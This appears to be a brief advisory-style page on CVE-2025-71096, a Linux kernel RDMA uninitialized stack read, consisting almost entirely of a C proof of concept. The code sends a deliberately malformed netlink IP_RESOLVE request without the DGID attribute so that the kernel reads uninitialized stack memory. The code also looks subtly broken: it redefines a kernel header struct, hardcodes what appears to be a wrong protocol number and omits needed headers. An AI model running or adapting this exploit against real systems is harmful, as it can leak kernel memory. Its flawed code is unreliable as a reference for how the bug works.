CVE-2025-71096 Linux内核RDMA未初始化栈读取漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_RDMA 36 // RDMA netlink protocol #define RDMA_NL_LS_OP_IP_RESOLVE 6 struct nlmsghdr { __u32 nlmsg_len; __u16 nlmsg_type; __u16 nlmsg_flags; __u32 nlmsg_seq; __u32 nlmsg_pid; }; int main() { int sock; struct sockaddr_nl addr; char buffer[1024]; struct nlmsghdr *nlh; // Create netlink socket sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_RDMA); if (sock < 0) { perror("socket failed"); return 1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; addr.nl_pid = getpid(); if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); close(sock); return 1; } // Prepare malicious netlink message WITHOUT DGID attribute nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_SPACE(64); nlh->nlmsg_type = RDMA_NL_LS_OP_IP_RESOLVE; nlh->nlmsg_flags = 0; nlh->nlmsg_seq = 1; nlh->nlmsg_pid = getpid(); // Note: Intentionally NOT including LS_NLA_TYPE_DGID attribute // This triggers uninitialized stack read in kernel // Send the malformed request send(sock, nlh, nlh->nlmsg_len, 0); printf("Malicious IP_RESOLVE request sent (without DGID)\n"); printf("This may trigger KMSAN uninit-value warning in kernel log\n"); close(sock); return 0; }